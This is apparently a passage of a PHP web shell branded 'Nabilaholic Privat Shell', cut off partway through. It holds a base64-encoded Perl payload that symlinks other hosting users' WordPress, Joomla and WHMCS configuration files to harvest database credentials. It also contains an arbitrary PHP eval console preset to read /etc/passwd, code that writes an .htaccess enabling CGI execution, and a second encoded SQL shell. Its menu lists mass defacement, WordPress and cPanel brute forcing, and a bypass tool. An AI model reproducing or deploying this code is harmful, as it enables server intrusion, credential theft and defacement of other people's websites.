G1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7';
?>
<html><head><title>Nabilaholic Privat Shell</title>
<script type="text/javascript">
function tukar(lama,baru){
document.getElementById(lama).style.display = 'none';
document.getElementById(baru).style.display = 'block';
}
</script>
<style type="text/css">
body{
background:#000000;;
}
a {
text-decoration:none;
}
a:hover{
border-bottom:1px solid #00ff00;
}
*{
font-size:11px;
font-family:Tahoma,Verdana,Arial;
color:white;
}
#menu{
background:#111111;
margin:8px 2px 4px 2px;
}
#menu a{
padding:4px 18px;
margin:0;
background:red;
text-decoration:none;
letter-spacing:1px;
}
#menu a:hover{
background:blue;
border-bottom:1px solid #333333;
border-top:1px solid #333333;
}
.tabnet{
margin:15px auto 0 auto;
border: 1px solid #333333;
}
.main {
width:100%;
}
.gaya {
color: white;
}
.inputz{
background:#111111;
border:0;
padding:2px;
border-bottom:1px solid #222222;
border-top:1px solid #222222;
}
.inputzbut{
background:#111111;
color:#00ff00;
margin:0 4px;
border:1px solid #444444;
}
.inputz:hover, .inputzbut:hover{
border-bottom:1px solid #00ff00;
border-top:1px solid #00ff00;
}
.output {
margin:auto;
border:1px solid #00ff00;
width:100%;
height:400px;
background:#000000;
padding:0 2px;
}
.cmdbox{
width:100%;
}
.head_info{
padding: 0 4px;
}
.jaya{ font-family: ;}
.b374k{
font-size:30px;
padding:0;
color:red;
}
.b374k_tbl{
text-align:center;
margin:0 4px 0 0;
padding:0 4px 0 0;
border-right:1px solid #333333;
}
.phpinfo table{
width:100%;
padding:0 0 0 0;
}
.phpinfo td{
background:#111111;
color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
background:#191919;
border-bottom:1px solid #333333;
font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
text-align:center;
font-size:16px;
padding:0;
margin:30px 0 0 0;
background:#222222;
padding:4px 0;
}
.explore{
width:100%;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #00ff00;
}
.explore tr:hover{
background:red;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}
</style></head>
<body onLoad="document.getElementById('cmd').focus();">
<div class="main">
<!-- head info start here -->
<div class="head_info">
<table ><tr>
<td><table class="b374k_tbl"><tr><td><a href="?"><span class="b374k">JKT48</span></a></td></tr><tr><td><b>HACKER INSIDE</b></td></tr></table></td>
<td><?php echo $buff; ?></td>
</tr></table>
</div>
<!-- head info end here -->
<!-- menu start -->
<center><div id="menu">
<a href="?<?php echo "y=".$pwd; ?>">Explore</a>
<a href="?<?php echo "y=".$pwd; ?>&x=shell">Shell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=php">Eval</a>
<a href="?<?php echo "y=".$pwd; ?>&x=sql">Mysql</a>
<a href="?<?php echo "y=".$pwd; ?>&x=dump">DB Dump</a>
<a href="?<?php echo "y=".$pwd; ?>&x=phpinfo">Php Info</a>
<a href="?<?php echo "y=".$pwd; ?>&x=netsploit">Netsploit</a>
<a href="?<?php echo "y=".$pwd; ?>&x=upload">Upload</a>
<a href="?<?php echo "y=".$pwd; ?>&x=mail">E-Mail</a>
<a href="?<?php echo "y=".$pwd; ?>&x=sqli-scanner">SQLI Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&x=port-sc">Port Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&x=tool">Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&x=symlink">Symlink</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=config">Config</a>
<a href="?<?php echo "y=".$pwd; ?>&x=bypass">Bypass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cgi">CgiShell</a>
<a href="?<?php echo "y=".$pwd; ?>&x=domain">Domain</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jodexer">Joomla IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&x=wp-reset">WP ResPass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jm-reset">Joomla ResPass</a>
<a href="?<?php echo "y=".$pwd; ?>&x=whmcs">WHMCS Decoder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=zone">Zone-H</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=mass">Mass Deface</a>
<a href="?<?php echo "y=".$pwd; ?>&x=wpbrute">WP BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=brute">Cpanel BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&x=adfin">Admin Finder</a>
<a href="?<?php echo "y=".$pwd; ?>&x=hash">Password Hash</a>
<a href="?<?php echo "y=".$pwd; ?>&x=hashid">Hash ID</a>
<a href="?<?php echo "y=".$pwd; ?>&x=string">Script Encode</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&x=whois">Website Whois</a>
<a href="?<?php echo "y=".$pwd; ?>&x=jss">Joomla Server Scanner</a>
<a href="?<?php echo "y=".$pwd; ?>&x=cms_detect">Cms Detector</a>
<a href="?<?php echo "y=".$pwd; ?>&x=logout">LogOut</a>
</div></center>
<!-- menu end -->
<?php
@ini_set('display_errors', 0);
if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=php" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php
if(isset($_POST['submitcmd'])) {
echo eval(magicboom($_POST['cmd']));
}
else echo "echo file_get_contents('/etc/passwd');";
?>
</textarea>
<tr><td><input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" /></td></tr></form>
</table>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'sql'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sql" method="post">
<?php
echo "<center/><br/><b><font color=red>MySQL Interface</font></b><br><br>";
mkdir('mysql', 0755);
chdir('mysql');
$akses = ".htaccess";
$buka_lah = "$akses";
$buka = fopen ($buka_lah , 'w') or die ("Error cuyy!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-php .cpc
";
fwrite ( $buka , $metin ) ;
fclose ($buka);
$sqlshell = 'PD8NCiRQQVNTV09SRCA9ICJyb290X3hoYWhheCI7DQokVVNFUk5BTUUgPSAieGhhaGF4IjsNCmlmICggZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7DQoJJG9ub2ZmID0gaW5pX2dldCgncmVnaXN0ZXJfZ2xvYmFscycpOw0KfSBlbHNlIHsNCgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xvYmFscycpOw0KfQ0KaWYgKCRvbm9mZiAhPSAxKSB7DQoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfQ09PS0lFX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfUE9TVF9GSUxFUywgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkSFRUUF9QT1NUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfR0VUX1ZBUlMsIEVYVFJfU0tJUCk7DQoJQGV4dHJhY3QoJEhUVFBfRU5WX1ZBUlMsIEVYVFJfU0tJUCk7DQp9DQoNCmZ1bmN0aW9uIGxvZ29uKCkgew0KCWdsb2JhbCAkUEhQX1NFTEY7DQoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKTsNCglzZXRjb29raWUoICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICk7DQoJZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCU+PHRyPjx0ZD48Y2VudGVyPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz0yMD48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCWVjaG8gIjxoMT5NeVNRTCBJbnRlcmZhY2UgQnkgUzRNUDRIPC9oMT5cbiI7DQoJZWNobyAiPGZvcm0gYWN0aW9uPSckUEhQX1NFTEYnPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9Ykc5bmIyNWZjM1ZpYldsMD5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxwYWRkaW5nPTUgY2VsbHNwYWNpbmc9MT5cbiI7DQoJZWNobyAiPHRyPjx0ZCBjbGFzcz1cIm5ld1wiPkhvc3RuYW1lIDwvdGQ+PHRkPiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9aG9zdG5hbWUgdmFsdWU9J2xvY2FsaG9zdCc+PC90ZD48L3RyPlxuIjsNCgllY2hvICI8dHI+PHRkIGNsYXNzPVwibmV3XCI+VXNlcm5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZT48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjx0cj48dGQgY2xhc3M9XCJuZXdcIj5QYXNzd29yZCA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzd29yZD48L3RkPjwvdHI+XG4iOw0KCWVjaG8gIjwvdGFibGU+PHA+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1yZXNldCB2YWx1ZT0nQ2xlYXInPjxicj5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOw0KCWVjaG8gIjxwPjxociB3aWR0aD0zMDA+XG4iOw0KCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbG9nb25fc3VibWl0KCkgew0KCWdsb2JhbCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGhvc3RuYW1lICwkUEhQX1NFTEY7DQoJaWYoJGhvc3RuYW1lID09JycpDQoJCSRob3N0bmFtZSA9ICdsb2NhbGhvc3QnOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIsICR1c2VybmFtZSApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOw0KCXNldGNvb2tpZSggIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIsICRob3N0bmFtZSApOw0KCWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxGP2FjdGlvbj1iR2x6ZEVSQ2N3PT0nPiI7DQp9DQoNCmZ1bmN0aW9uIGVjaG9RdWVyeVJlc3VsdCgpIHsNCglnbG9iYWwgJHF1ZXJ5U3RyLCAkZXJyTXNnOw0KCWlmKCAkZXJyTXNnID09ICIiICkgJGVyck1zZyA9ICJTd